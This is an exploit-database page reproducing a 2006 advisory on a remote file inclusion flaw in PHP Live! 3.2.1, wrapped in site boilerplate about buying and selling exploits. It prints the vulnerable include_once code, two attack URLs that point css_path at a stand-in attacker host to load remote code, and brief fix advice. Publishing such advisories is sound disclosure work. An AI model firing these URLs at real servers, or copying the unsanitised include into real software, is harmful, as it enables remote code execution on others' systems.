0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHP Live! <= 3.2.1 (help.php) Remote Inclusion Vulnerability
============================================================ PHP Live! <= 3.2.1 (help.php) Remote Inclusion Vulnerability ============================================================ Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach Risk: High Vendor Status: not contacted | no patch available Version: all ----------- Overview: Some variables are not properly sanitized before being used. Here you will find the variables not properly sanitized: ----------- Vulnerable code: help.php /setup/header.php etc.. <? $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?> ----------- Execution: help.php?css_path=htt://attacker setup/header.php?css_path=htt://attacker ----------- Vendor: At the moment, there are no solutions from the vendor. If you want to make sure the code and your PHPLIVE you have to sanitize the variable $css_path, in all files affecteds. Active SAFE_MODE on server, for local security. --------------------------- # 0day.today [2024-11-15] #